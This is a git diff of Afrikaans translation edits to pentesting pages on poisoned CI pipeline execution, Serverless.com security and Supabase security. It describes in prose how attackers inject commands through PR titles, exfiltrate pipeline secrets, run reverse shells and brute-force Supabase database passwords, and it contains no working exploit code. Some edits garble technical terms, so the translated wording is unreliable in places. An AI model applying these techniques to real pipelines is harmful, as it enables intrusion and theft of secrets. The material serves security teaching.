-Die Gevulde Pypeline Uitvoering (PPE) pad benut toestemmings in 'n SCM-repo om 'n CI-pypeline te manipuleer en skadelike opdragte uit te voer. Gebruikers met die nodige toestemmings kan CI-konfigurasie lêers of ander lêers wat deur die pypeline werk gebruik word, wysig om kwaadwillige opdragte in te sluit. Dit "vervuil" die CI-pypeline, wat lei tot die uitvoering van hierdie kwaadwillige opdragte.
+Die Gevulde Pypeline Uitvoering (PPE) pad misbruik toestemmings in 'n SCM-repo om 'n CI-pypeline te manipuleer en skadelike opdragte uit te voer. Gebruikers met die nodige toestemmings kan CI-konfigurasie lêers of ander lêers wat deur die pypeline-taak gebruik word, wysig om kwaadwillige opdragte in te sluit. Dit "vervuil" die CI-pypeline, wat lei tot die uitvoering van hierdie kwaadwillige opdragte.
Vir 'n kwaadwillige akteur om suksesvol 'n PPE-aanval uit te voer, moet hy in staat wees om:
@@ -58,24 +58,24 @@ Vir 'n kwaadwillige akteur om suksesvol 'n PPE-aanval uit te voer, moet hy in st
- Selfs as hy skryf toestemmings het, moet hy seker wees dat hy die **CI konfigurasie lêer of ander lêers waarop die konfigurasie staatmaak** kan **wysig**.
- Hiervoor mag hy moet in staat wees om **tak beskermings om te seil**.
-Daar is 3 PPE variasies:
+Daar is 3 PPE geure:
- **D-PPE**: 'n **Direkte PPE** aanval vind plaas wanneer die akteur die **CI konfigurasie** lêer wat gaan uitgevoer word, **wysig**.
-- **I-DDE**: 'n **Indirekte PPE** aanval vind plaas wanneer die akteur 'n **lêer** wat die CI konfigurasie lêer wat gaan uitgevoer word, **afhang** (soos 'n make-lêer of 'n terraform konfigurasie).
+- **I-DDE**: 'n **Indirekte PPE** aanval vind plaas wanneer die akteur 'n **lêer** wat die CI konfigurasie lêer wat gaan uitgevoer word, **afhang** van, **wysig** (soos 'n make-lêer of 'n terraform konfigurasie).
- **Publieke PPE of 3PE**: In sommige gevalle kan die pypelines **geaktiveer word deur gebruikers wat nie skryf toegang in die repo het nie** (en wat dalk nie eens deel van die org is nie) omdat hulle 'n PR kan stuur.
-- **3PE Opdrag Inspuiting**: Gewoonlik sal CI/CD pypelines **omgewing veranderlikes** met **inligting oor die PR** stel. As daardie waarde deur 'n aanvaller beheer kan word (soos die titel van die PR) en is **gebruik** in 'n **gevaarlike plek** (soos die uitvoering van **sh opdragte**), kan 'n aanvaller **opdragte daar in spuit**.
+- **3PE Opdrag Inspuiting**: Gewoonlik sal CI/CD pypelines **omgewing veranderlikes stel** met **inligting oor die PR**. As daardie waarde deur 'n aanvaller beheer kan word (soos die titel van die PR) en **gebruik** word in 'n **gevaarlike plek** (soos die uitvoering van **sh opdragte**), kan 'n aanvaller **opdragte daar in spuit**.
### Exploitatie Voordele
-Om die 3 variasies om 'n pypeline te vervuil te ken, laat ons kyk wat 'n aanvaller kan verkry na 'n suksesvolle eksploitatie:
+Om die 3 geure te ken om 'n pypeline te vervuil, laat ons kyk wat 'n aanvaller kan verkry na 'n suksesvolle uitbuiting:
-- **Geheime**: Soos voorheen genoem, vereis pypelines **bevoegdhede** vir hul werksgeleenthede (om die kode te verkry, dit te bou, dit te ontplooi...) en hierdie bevoegdhede word gewoonlik **in geheime toegestaan**. Hierdie geheime is gewoonlik toeganklik via **omgewing veranderlikes of lêers binne die stelsel**. Daarom sal 'n aanvaller altyd probeer om soveel geheime as moontlik te eksfiltreer.
+- **Geheime**: Soos voorheen genoem, vereis pypelines **bevoegdhede** vir hul take (om die kode te verkry, dit te bou, dit te ontplooi...) en hierdie bevoegdhede word gewoonlik **in geheime toegestaan**. Hierdie geheime is gewoonlik toeganklik via **omgewing veranderlikes of lêers binne die stelsel**. Daarom sal 'n aanvaller altyd probeer om soveel geheime as moontlik te eksfiltreer.
- Afhangende van die pypeline platform mag die aanvaller **die geheime in die konfigurasie moet spesifiseer**. Dit beteken dat as die aanvaller nie die CI konfigurasie pypeline kan wysig nie (**I-PPE** byvoorbeeld), kan hy **slegs die geheime wat daardie pypeline het, eksfiltreer**.
-- **Berekening**: Die kode word êrens uitgevoer, afhangende van waar dit uitgevoer word, mag 'n aanvaller in staat wees om verder te pivot.
+- **Berekening**: Die kode word iewers uitgevoer, afhangende van waar dit uitgevoer word, mag 'n aanvaller in staat wees om verder te pivot.
- **On-premises**: As die pypelines op plek uitgevoer word, mag 'n aanvaller eindig in 'n **interne netwerk met toegang tot meer hulpbronne**.
-- **Cloud**: Die aanvaller kan toegang verkry tot **ander masjiene in die cloud** maar kan ook **eksfiltreer** IAM rolle/dienste rekeninge **tokens** daarvan om **verdere toegang binne die cloud** te verkry.
-- **Platforms masjien**: Soms sal die werksgeleenthede binne die **pypelines platform masjiene** uitgevoer word, wat gewoonlik binne 'n cloud met **geen verdere toegang** is.
-- **Kies dit:** Soms sal die **pypelines platform verskeie masjiene geconfigureer hê** en as jy die **CI konfigurasie lêer kan wysig**, kan jy **aangee waar jy die kwaadwillige kode wil uitvoer**. In hierdie situasie sal 'n aanvaller waarskynlik 'n omgekeerde skulp op elke moontlike masjien uitvoer om te probeer om dit verder te exploiteer.
+- **Wolk**: Die aanvaller kan toegang verkry tot **ander masjiene in die wolk** maar kan ook **geheime** IAM rolle/dienste rekeninge **tokens** van dit eksfiltreer om **verdere toegang binne die wolk** te verkry.
+- **Platforms masjien**: Soms sal die take binne die **pypelines platform masjiene** uitgevoer word, wat gewoonlik binne 'n wolk met **geen verdere toegang** is.
+- **Kies dit:** Soms sal die **pypelines platform verskeie masjiene geconfigureer hê** en as jy die **CI konfigurasie lêer kan wysig**, kan jy **aan dui waar jy die kwaadwillige kode wil uitvoer**. In hierdie situasie sal 'n aanvaller waarskynlik 'n omgekeerde skulp op elke moontlike masjien uitvoer om te probeer om dit verder te exploiteer.
- **Kompromitteer produksie**: As jy binne die pypeline is en die finale weergawe daaruit gebou en ontplooi word, kan jy **die kode wat in produksie gaan loop, kompromitteer**.
## Meer relevante inligting
diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md
index f05ae848c..182b25ad5 100644
--- a/src/pentesting-ci-cd/serverless.com-security.md
+++ b/src/pentesting-ci-cd/serverless.com-security.md
@@ -1,4 +1,4 @@
-# Serverless.com Veiligheid
+# Serverless.com Sekuriteit
{{#include ../banners/hacktricks-training.md}}
@@ -70,9 +70,9 @@ rate: rate(10 minutes)
Hulpbronne
-**Hulpbronne** stel jou in staat om addisionele wolkhulpbronne te definieer waarop jou diens afhanklik is, soos databasisse, stoor emmers of IAM rolle.
+**Hulpbronne** stel jou in staat om addisionele wolk hulpbronne te definieer waarop jou diens afhanklik is, soos databasisse, stoor emmers, of IAM rolle.
-Hulle word onder die `resources` afdeling gespesifiseer, dikwels met behulp van CloudFormation-sintaksis vir AWS.
+Hulle word gespesifiseer onder die `resources` afdeling, dikwels met behulp van CloudFormation sintaksis vir AWS.
```yaml
resources:
Resources:
@@ -98,7 +98,7 @@ WriteCapacityUnits: 1
Die **Verskaffer** objek spesifiseer die wolkdiensteverskaffer (bv. AWS, Azure, Google Cloud) en bevat konfigurasie-instellings wat relevant is vir daardie verskaffer.
-Dit sluit besonderhede in soos die runtime, streek, fase, en geloofsbriewe.
+Dit sluit besonderhede in soos die runtime, streek, fase, en akrediteer.
```yaml
yamlCopy codeprovider:
name: aws
@@ -112,7 +112,7 @@ stage: dev
Fase en Streek
-Die fase verteenwoordig verskillende omgewings (bv., ontwikkeling, staging, produksie) waar jou diens ontplooi kan word. Dit stel spesifieke konfigurasies en ontplooiings vir die omgewing in staat.
+Die fase verteenwoordig verskillende omgewings (bv. ontwikkeling, staging, produksie) waar jou diens ontplooi kan word. Dit stel omgewings-spesifieke konfigurasies en ontplooiings in staat.
```yaml
provider:
stage: dev
@@ -159,7 +159,7 @@ layers:
**Veranderlikes** stel dinamiese konfigurasie in staat deur die gebruik van plekhouers wat by ontplooiingstyd opgelos word.
-- **Sintaksis:** `${variable}` sintaksis kan omgewingveranderlikes, lêerinhoud of ander konfigurasieparameters verwys.
+- **Sintaksis:** `${variable}` sintaksis kan omgewingveranderlikes, lêerinhoud, of ander konfigurasieparameters verwys.
```yaml
functions:
@@ -169,7 +169,7 @@ environment:
TABLE_NAME: ${self:custom.tableName}
```
-* **Aangepaste Veranderlikes:** Die `custom` afdeling word gebruik om gebruikerspesifieke veranderlikes en konfigurasies te definieer wat regdeur die `serverless.yml` hergebruik kan word.
+* **Aangepaste Veranderlikes:** Die `custom` afdeling word gebruik om gebruiker-spesifieke veranderlikes en konfigurasies te definieer wat hergebruik kan word regdeur die `serverless.yml`.
```yaml
custom:
@@ -241,9 +241,9 @@ TABLE_NAME: ${self:custom.tableName}
-Afhangighede
+Afhangklikhede
-**Afhangighede** bestuur die eksterne biblioteke en modules wat jou funksies benodig. Hulle word tipies hanteer deur middel van pakketbestuurders soos npm of pip, en saamgepak met jou ontplooiingspakket met behulp van gereedskap of plugins soos `serverless-webpack`.
+**Afhangklikhede** bestuur die eksterne biblioteke en modules wat jou funksies benodig. Hulle word tipies hanteer deur middel van pakketbestuurders soos npm of pip, en saamgevoeg met jou ontplooiingspakket met behulp van gereedskap of plugins soos `serverless-webpack`.
```yaml
plugins:
- serverless-webpack
@@ -254,7 +254,7 @@ plugins:
Hooks
-**Hooks** stel jou in staat om pasgemaakte skripte of opdragte op spesifieke punte in die ontplooiing lewensiklus uit te voer. Hulle word gedefinieer met behulp van plugins of binne die `serverless.yml` om aksies voor of na ontplooiings uit te voer.
+**Hooks** laat jou toe om pasgemaakte skripte of opdragte op spesifieke punte in die ontplooiing lewensiklus uit te voer. Hulle word gedefinieer met behulp van plugins of binne die `serverless.yml` om aksies voor of na ontplooiings uit te voer.
```yaml
custom:
hooks:
@@ -284,7 +284,7 @@ serverless #Choose first one (AWS / Node.js / HTTP API)
## Create A New App
## Indicate a name like "tutorialapp)
```
-Dit behoort 'n **app** genaamd `tutorialapp` te geskep het wat jy kan nagaan in [serverless.com](serverless.com-security.md) en 'n gids genaamd `Tutorial` met die lêer **`handler.js`** wat 'n paar JS-kode bevat met 'n `helloworld` kode en die lêer **`serverless.yml`** wat daardie funksie verklaar:
+Dit behoort 'n **app** genaamd `tutorialapp` te geskep het wat jy kan nagaan in [serverless.com](serverless.com-security.md) en 'n gids genaamd `Tutorial` met die lêer **`handler.js`** wat 'n bietjie JS-kode met 'n `helloworld` kode bevat en die lêer **`serverless.yml`** wat daardie funksie verklaar:
{{#tabs }}
{{#tab name="handler.js" }}
@@ -324,7 +324,7 @@ method: get
{{#endtabs }}
4. Skep 'n AWS verskaffer deur in die **dashboard** te gaan op `https://app.serverless.com//settings/providers?providerId=new&provider=aws`.
-1. Om `serverless.com` toegang tot AWS te gee, sal dit vra om 'n cloudformation-stapel te loop met hierdie konfigurasie-lêer (op die tyd van hierdie skrywe): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
+1. Om `serverless.com` toegang tot AWS te gee, sal dit vra om 'n cloudformation-stapel te loop met behulp van hierdie konfigurasie-lêer (op die tyd van hierdie skrywe): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
2. Hierdie sjabloon genereer 'n rol genaamd **`SFRole-`** met **`arn:aws:iam::aws:policy/AdministratorAccess`** oor die rekening met 'n Trust Identity wat `Serverless.com` AWS-rekening toelaat om toegang tot die rol te verkry.
@@ -399,7 +399,7 @@ Type: String
```
-5. Die tutoriaal vra om die lêer `createCustomer.js` te skep wat basies 'n nuwe API-eindpunt sal skep wat deur die nuwe JS-lêer hanteer word en vra om die `serverless.yml`-lêer te wysig om dit te laat genereer 'n **nuwe DynamoDB-tabel**, 'n **omgewing veranderlike** te definieer, die rol wat die gegenereerde lambdas sal gebruik.
+5. Die tutoriaal vra om die lêer `createCustomer.js` te skep wat basies 'n nuwe API-eindpunt sal skep wat deur die nuwe JS-lêer hanteer word en vra om die `serverless.yml`-lêer te wysig om 'n **nuwe DynamoDB-tabel** te genereer, 'n **omgewing veranderlike** te definieer, die rol wat die gegenereerde lambdas sal gebruik.
{{#tabs }}
{{#tab name="createCustomer.js" }}
@@ -482,18 +482,18 @@ TableName: ${self:service}-customerTable-${sls:stage}
{{#endtabs }}
6. Ontplooi dit met **`serverless deploy`**
-1. Die ontplooiing sal uitgevoer word deur 'n CloudFormation Stack
+1. Die ontplooiing sal uitgevoer word via 'n CloudFormation Stack
2. Let daarop dat die **lambdas blootgestel word via API gateway** en nie via direkte URL's nie
7. **Toets dit**
1. Die vorige stap sal die **URL's** druk waar jou API eindpunte lambda funksies ontplooi is
-## Sekuriteitsherziening van Serverless.com
+## Sekuriteits Hersiening van Serverless.com
-### **Verkeerd geconfigureerde IAM Rolle en Toestemmings**
+### **Verkeerd Geconfigureerde IAM Rolle en Toestemmings**
Oormatig permissiewe IAM rolle kan ongeoorloofde toegang tot wolkbronne verleen, wat lei tot datalekke of bronmanipulasie.
-Wanneer geen toestemmings vir 'n Lambda funksie gespesifiseer word nie, sal 'n rol met toestemmings slegs om logs te genereer, geskep word, soos:
+Wanneer geen toestemmings vir 'n Lambda funksie gespesifiseer word nie, sal 'n rol met toestemmings net om logs te genereer geskep word, soos:
@@ -551,9 +551,9 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
### **Onveilige Geheime en Konfigurasiebestuur**
-Die stoor van sensitiewe inligting (bv. API-sleutels, databasisbewyse) direk in **`serverless.yml`** of kode kan lei tot blootstelling as repositories gecompromitteer word.
+Die stoor van sensitiewe inligting (bv. API sleutels, databasis akrediteer) direk in **`serverless.yml`** of kode kan lei tot blootstelling as repositories gecompromitteer word.
-Die **aanbevole** manier om omgewing veranderlikes in **`serverless.yml`** lêer van serverless.com (ten tyde van hierdie skrywe) te stoor, is om die `ssm` of `s3` verskaffers te gebruik, wat toelaat om die **omgewing waardes van hierdie bronne tydens ontplooiing te verkry** en **konfigureer** die **lambdas** omgewing veranderlikes met die **tekst duidelik van die waardes**!
+Die **aanbevole** manier om omgewing veranderlikes in **`serverless.yml`** lêer van serverless.com (ten tyde van hierdie skrywe) te stoor, is om die `ssm` of `s3` verskaffers te gebruik, wat toelaat om die **omgewing waardes van hierdie bronne tydens ontplooiing te verkry** en die **lambdas** omgewing veranderlikes met die **tekst sonder die waardes** te **konfigureer**!
> [!CAUTION]
> Daarom sal enigeen met toestemmings om die lambdas konfigurasie binne AWS te lees, in staat wees om **toegang te verkry tot al hierdie omgewing veranderlikes in duidelike teks!**
@@ -564,16 +564,16 @@ provider:
environment:
DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
```
-And selfs al dit hardcoding van die omgewing veranderlike waarde in die **`serverless.yml`** lêer voorkom, sal die waarde tydens ontplooiing verkry word en sal dit **in duidelike teks binne die lambda omgewing veranderlike bygevoeg word**.
+En selfs al voorkom dit dat die omgewing veranderlike waarde in die **`serverless.yml`** lêer hardgecodeer word, sal die waarde tydens ontplooiing verkry word en sal dit **in duidelike teks binne die lambda omgewing veranderlike bygevoeg word**.
> [!TIP]
-> Die aanbevole manier om omgewing veranderlikes met serveless.com te stoor, is om dit in 'n **AWS geheim** te stoor en net die geheim naam in die omgewing veranderlike te stoor en die **lambda kode moet dit versamel**.
+> Die aanbevole manier om omgewing veranderlikes met serveless.com te stoor, is om dit **in 'n AWS geheim te stoor** en net die geheimnaam in die omgewing veranderlike te stoor en die **lambda kode moet dit versamel**.
-#### **Mitigering Strategieë**
+#### **Versagtingsstrategieë**
- **Secrets Manager Integrasie:** Gebruik dienste soos **AWS Secrets Manager.**
- **Gekodeerde Veranderlikes:** Maak gebruik van die Serverless Framework se kodering funksies vir sensitiewe data.
-- **Toegangbeheer:** Beperk toegang tot geheime gebaseer op rolle.
+- **Toegangsbeheer:** Beperk toegang tot geheime gebaseer op rolle.
---
@@ -581,9 +581,9 @@ And selfs al dit hardcoding van die omgewing veranderlike waarde in die **`serve
Verouderde of onveilige afhanklikhede kan kwesbaarhede inbring, terwyl onvanpaste invoerhantering kan lei tot kode-inspuitaanvalle.
-#### **Mitigering Strategieë**
+#### **Versagtingsstrategieë**
-- **Afhanklikheid Bestuur:** Werk afhanklikhede gereeld op en skandeer vir kwesbaarhede.
+- **Afhanklikheidsbestuur:** Werk afhanklikhede gereeld op en skandeer vir kwesbaarhede.
```yaml
plugins:
@@ -599,11 +599,11 @@ plugins:
### **Onvoldoende Logging en Monitering**
-Sonder behoorlike logging en monitering kan kwaadwillige aktiwiteite onopgemerk bly, wat die insidentreaksie vertraag.
+Sonder behoorlike logging en monitering kan kwaadwillige aktiwiteite onopgemerk bly, wat die insidentrespons vertraag.
-#### **Mitigering Strategieë**
+#### **Versagtingsstrategieë**
-- **Gekonsolideerde Logging:** Versamel logs met dienste soos **AWS CloudWatch** of **Datadog**.
+- **Gekonsolideerde Logging:** Aggregereer logs met dienste soos **AWS CloudWatch** of **Datadog**.
```yaml
plugins:
@@ -611,7 +611,7 @@ plugins:
```
- **Aktiveer Gedetailleerde Logging:** Vang noodsaaklike inligting sonder om sensitiewe data bloot te stel.
-- **Stel Waarskuwings Op:** Konfigureer waarskuwings vir verdagte aktiwiteite of afwykings.
+- **Stel Waarskuwings In:** Konfigureer waarskuwings vir verdagte aktiwiteite of afwykings.
- **Gereelde Monitering:** Moniteer logs en metrieke voortdurend vir potensiële sekuriteitsinsidente.
---
@@ -620,7 +620,7 @@ plugins:
Oop of onvanpaste beveiligde API's kan uitgebuit word vir ongeoorloofde toegang, Denial of Service (DoS) aanvalle, of kruis-web aanvalle.
-#### **Mitigering Strategieë**
+#### **Versagtingsstrategieë**
- **Outentisering en Magtiging:** Implementeer robuuste meganismes soos OAuth, API sleutels, of JWT.
@@ -635,7 +635,7 @@ method: get
authorizer: aws_iam
```
-- **Tarief Beperking en Throttling:** Voorkom misbruik deur versoek tariewe te beperk.
+- **Tariefbeperking en Throttling:** Voorkom misbruik deur versoektempo's te beperk.
```yaml
provider:
@@ -669,11 +669,11 @@ headers:
Gedeelde hulpbronne en onvoldoende isolasie kan lei tot voorregverhogings of onbedoelde interaksies tussen funksies.
-#### **Mitigering Strategieë**
+#### **Versagtingsstrategieë**
- **Isolasie van Funksies:** Ken unieke hulpbronne en IAM rolle toe om onafhanklike werking te verseker.
- **Hulpbron Partitionering:** Gebruik aparte databasisse of stoor emmers vir verskillende funksies.
-- **Gebruik VPC's:** Ontplooi funksies binne Virtuele Privaatskywe vir verbeterde netwerk isolasie.
+- **Gebruik VPC's:** Ontplooi funksies binne Virtuele Privaatskywe vir verbeterde netwerkisolasie.
```yaml
provider:
@@ -690,11 +690,11 @@ subnetIds:
### **Onvoldoende Data Beskerming**
-Ongeëngkodeerde data in rus of in oordrag kan blootgestel word, wat kan lei tot datalekke of vervalsing.
+Ongeëkodeerde data in rus of in oordrag kan blootgestel word, wat kan lei tot datalekke of vervalsing.
-#### **Mitigering Strategieë**
+#### **Versagtingsstrategieë**
-- **Enkripteer Data in Rus:** Maak gebruik van wolkdienste se enkripsie funksies.
+- **Enkripteer Data in Rus:** Maak gebruik van wolkdienste se enkripteerfunksies.
```yaml
resources:
@@ -707,8 +707,8 @@ SSEEnabled: true
```
- **Enkripteer Data in Oordrag:** Gebruik HTTPS/TLS vir alle datatransmissies.
-- **Veilige API Kommunikasie:** Handhaaf enkripsie protokolle en valideer sertifikate.
-- **Bestuur Enkripsie Sleutels Veilig:** Gebruik bestuurde sleutel dienste en draai sleutels gereeld.
+- **Veilige API Kommunikasie:** Handhaaf enkripteerprotokolle en valideer sertifikate.
+- **Bestuur Enkripteersleutels Veilig:** Gebruik bestuurde sleuteldienste en roteer sleutels gereeld.
---
@@ -716,15 +716,15 @@ SSEEnabled: true
Gedetailleerde foutboodskappe kan sensitiewe inligting oor die infrastruktuur of kodebasis blootstel, terwyl onbehandelde uitsonderings kan lei tot toepassingskrake.
-#### **Mitigering Strategieë**
+#### **Versagtingsstrategieë**
-- **Generiese Foutboodskappe:** Vermy die blootstelling van interne besonderhede in fout antwoorde.
+- **Generiese Foutboodskappe:** Vermy die blootstelling van interne besonderhede in foutantwoorde.
```javascript
javascriptCopy code// Voorbeeld in Node.js
exports.hello = async (event) => {
try {
-// Funksie logika
+// Funksielogika
} catch (error) {
console.error(error);
return {
@@ -742,25 +742,25 @@ body: JSON.stringify({ message: 'Interne Bediener Fout' }),
### **Onveilige Ontplooiing Praktyke**
-Blootgestelde ontplooiing konfigurasies of ongeoorloofde toegang tot CI/CD pype kan lei tot kwaadwillige kode ontplooiings of misconfigurasies.
+Blootgestelde ontplooiingskonfigurasies of ongeoorloofde toegang tot CI/CD-pype kan lei tot kwaadwillige kode-ontplooiings of misconfigurasies.
-#### **Mitigering Strategieë**
+#### **Versagtingsstrategieë**
-- **Veilige CI/CD Pype:** Implementeer streng toegangbeheer, multi-faktor verifikasie (MFA), en gereelde ouditte.
-- **Berg Konfigurasie Veilig:** Hou ontplooiing lêers vry van hardgecodeerde geheime en sensitiewe data.
+- **Veilige CI/CD Pype:** Implementeer streng toegangsbeheer, multi-faktor outentisering (MFA), en gereelde ouditte.
+- **Stoor Konfigurasie Veilig:** Hou ontplooiingslêers vry van hardgecodeerde geheime en sensitiewe data.
- **Gebruik Infrastruktuur as Kode (IaC) Sekuriteitsgereedskap:** Gebruik gereedskap soos **Checkov** of **Terraform Sentinel** om sekuriteitsbeleide af te dwing.
-- **Onveranderlike Ontplooiings:** Voorkom ongeoorloofde veranderinge na ontplooiing deur onveranderlike infrastruktuur praktyke aan te neem.
+- **Onveranderlike Ontplooiings:** Voorkom ongeoorloofde veranderinge na ontplooiing deur onveranderlike infrastruktuurpraktyke aan te neem.
---
### **Kwetsbaarhede in Plugins en Uitbreidings**
-Die gebruik van ongeëvalueerde of kwaadwillige derdeparty plugins kan kwesbaarhede in jou serverless toepassings inbring.
+Die gebruik van ongeëvalueerde of kwaadwillige derdeparty-plugins kan kwesbaarhede in jou serverless toepassings inbring.
-#### **Mitigering Strategieë**
+#### **Versagtingsstrategieë**
-- **Evalueer Plugins Deeglik:** Beoordeel die sekuriteit van plugins voor integrasie, en verkies dié van betroubare bronne.
-- **Beperk Plugin Gebruik:** Gebruik slegs noodsaaklike plugins om die aanval oppervlak te minimaliseer.
+- **Evalueer Plugins Deeglik:** Beoordeel die sekuriteit van plugins voordat dit geïntegreer word, en verkies dié van betroubare bronne.
+- **Beperk Plugin Gebruik:** Gebruik slegs noodsaaklike plugins om die aanvaloppervlak te minimaliseer.
- **Monitor Plugin Opdaterings:** Hou plugins op datum om voordeel te trek uit sekuriteitsopdaterings.
- **Isolasie van Plugin Omgewings:** Voer plugins in geïsoleerde omgewings uit om potensiële kompromies te bevat.
@@ -770,20 +770,20 @@ Die gebruik van ongeëvalueerde of kwaadwillige derdeparty plugins kan kwesbaarh
Publiek toeganklike funksies of onbeperkte API's kan uitgebuit word vir ongeoorloofde operasies.
-#### **Mitigering Strategieë**
+#### **Versagtingsstrategieë**
-- **Beperk Funksie Toegang:** Gebruik VPC's, sekuriteitsgroepe, en vuurmuur reëls om toegang tot vertroude bronne te beperk.
+- **Beperk Funksie Toegang:** Gebruik VPC's, sekuriteitsgroepe, en vuurmuur reels om toegang tot vertroude bronne te beperk.
- **Implementeer Robuuste Outentisering:** Verseker dat alle blootgestelde eindpunte behoorlike outentisering en magtiging vereis.
-- **Gebruik API Gateways Veilig:** Konfigureer API Gateways om sekuriteitsbeleide af te dwing, insluitend invoer validasie en tarief beperking.
-- **Deaktiveer Ongebruikte Eindpunte:** Hersien gereeld en deaktiveer enige eindpunte wat nie meer in gebruik is nie.
+- **Gebruik API Gateways Veilig:** Konfigureer API Gateways om sekuriteitsbeleide af te dwing, insluitend invoervalidasie en tariefbeperking.
+- **Deaktiveer Ongebruikte Eindpunte:** Hersien en deaktiveer gereeld enige eindpunte wat nie meer in gebruik is nie.
---
### **Oorvloedige Toestemmings vir Spanlede en Eksterne Samewerkers**
-Die toekenning van oorvloedige toestemmings aan spanlede en eksterne samewerkers kan lei tot ongeoorloofde toegang, datalekke, en misbruik van hulpbronne. Hierdie risiko is verhoog in omgewings waar verskeie individue verskillende vlakke van toegang het, wat die aanval oppervlak en potensiaal vir binnelandse bedreigings verhoog.
+Die toekenning van oorvloedige toestemmings aan spanlede en eksterne samewerkers kan lei tot ongeoorloofde toegang, datalekke, en misbruik van hulpbronne. Hierdie risiko is verhoog in omgewings waar verskeie individue verskillende vlakke van toegang het, wat die aanvaloppervlak en potensiaal vir binnenshuise bedreigings verhoog.
-#### **Mitigering Strategieë**
+#### **Versagtingsstrategieë**
- **Beginsel van Minste Voorreg:** Verseker dat spanlede en samewerkers slegs die toestemmings het wat nodig is om hul take uit te voer.
@@ -791,21 +791,21 @@ Die toekenning van oorvloedige toestemmings aan spanlede en eksterne samewerkers
### **Toegang Sleutels en Lisensie Sleutels Sekuriteit**
-**Toegang Sleutels** en **Lisensie Sleutels** is kritieke akrediteerbare wat gebruik word om interaksies met die Serverless Framework CLI te outentiseer en te magtig.
+**Toegang Sleutels** en **Lisensie Sleutels** is kritieke akrediteer wat gebruik word om interaksies met die Serverless Framework CLI te outentiseer en te magtig.
- **Lisensie Sleutels:** Dit is unieke identifiseerders wat benodig word om toegang tot Serverless Framework weergawe 4 te outentiseer wat toelaat om via CLI aan te meld.
-- **Toegang Sleutels:** Akrediteerbare wat die Serverless Framework CLI toelaat om met die Serverless Framework Dashboard te outentiseer. Wanneer jy aanmeld met `serverless` cli, sal 'n toegang sleutel **gegenereer en op die skootrekenaar gestoor word**. Jy kan dit ook as 'n omgewing veranderlike genaamd `SERVERLESS_ACCESS_KEY` stel.
+- **Toegang Sleutels:** Akrediteer wat toelaat dat die Serverless Framework CLI met die Serverless Framework Dashboard outentiseer. Wanneer jy aanmeld met `serverless` cli, sal 'n toegang sleutel **gegenereer en op die skootrekenaar gestoor word**. Jy kan dit ook as 'n omgewing veranderlike genaamd `SERVERLESS_ACCESS_KEY` stel.
#### **Sekuriteitsrisiko's**
1. **Blootstelling Deur Kode Depositories:**
-- Hardcoding of per ongeluk die toekennings sleutels en lisensie sleutels aan die weergawebeheer stelsels kan lei tot ongeoorloofde toegang.
-2. **Onveilige Berging:**
-- Die berging van sleutels in duidelike teks binne omgewing veranderlikes of konfigurasie lêers sonder behoorlike enkripsie verhoog die waarskynlikheid van lekkasie.
+- Hardcoding of per ongeluk die toekennings sleutels en lisensie sleutels aan die weergawebeheerstelsels kan lei tot ongeoorloofde toegang.
+2. **Onveilige Stoor:**
+- Die stoor van sleutels in duidelike teks binne omgewing veranderlikes of konfigurasielêers sonder behoorlike enkripteer verhoog die waarskynlikheid van lekkasie.
3. **Onvanpaste Verspreiding:**
- Die deel van sleutels deur onveilige kanale (bv. e-pos, klets) kan lei tot onderskepping deur kwaadwillige akteurs.
4. **Gebrek aan Rotasie:**
-- Om sleutels nie gereeld te roteer nie, verleng die blootstelling tydperk as sleutels gecompromitteer word.
+- Om sleutels nie gereeld te roteer nie, verleng die blootstellingstydperk as sleutels gecompromitteer word.
5. **Oorvloedige Toestemmings:**
- Sleutels met breë toestemmings kan uitgebuit word om ongeoorloofde aksies oor verskeie hulpbronne uit te voer.
diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md
index 65ecfc956..30f7042c1 100644
--- a/src/pentesting-ci-cd/supabase-security.md
+++ b/src/pentesting-ci-cd/supabase-security.md
@@ -1,4 +1,4 @@
-# Supabase Veiligheid
+# Supabase Sekuriteit
{{#include ../banners/hacktricks-training.md}}
@@ -16,7 +16,7 @@ Basies wanneer 'n projek geskep word, sal die gebruiker 'n supabase.co subdomein
> **Hierdie data kan vanaf 'n skakel soos `https://supabase.com/dashboard/project//settings/database` verkry word**
Hierdie **databasis** sal in 'n AWS streek ontplooi word, en om daartoe te verbind, sal dit moontlik wees om te verbind met: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (dit is in us-west-1 geskep).\
-Die wagwoord is 'n **wagwoord wat die gebruiker voorheen ingevoer het**.
+Die wagwoord is 'n **wagwoord wat die gebruiker vroeër ingevoer het**.
Daarom, aangesien die subdomein 'n bekende een is en dit as gebruikersnaam gebruik word en die AWS streke beperk is, mag dit moontlik wees om te probeer om die **wagwoord te brute force**.
@@ -33,11 +33,11 @@ Hierdie afdeling bevat ook opsies om:
> [!TIP]
> **Hierdie data kan vanaf 'n skakel soos `https://supabase.com/dashboard/project//settings/api` verkry word**
-Die URL om toegang tot die supabase API in jou projek te verkry, sal wees: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
+Die URL om toegang te verkry tot die supabase API in jou projek sal wees: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
### anon api sleutels
-Dit sal ook 'n **anon API sleutel** (`role: "anon"`), soos: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` genereer wat die toepassing sal moet gebruik om met die API sleutel in ons voorbeeld in kontak te tree.
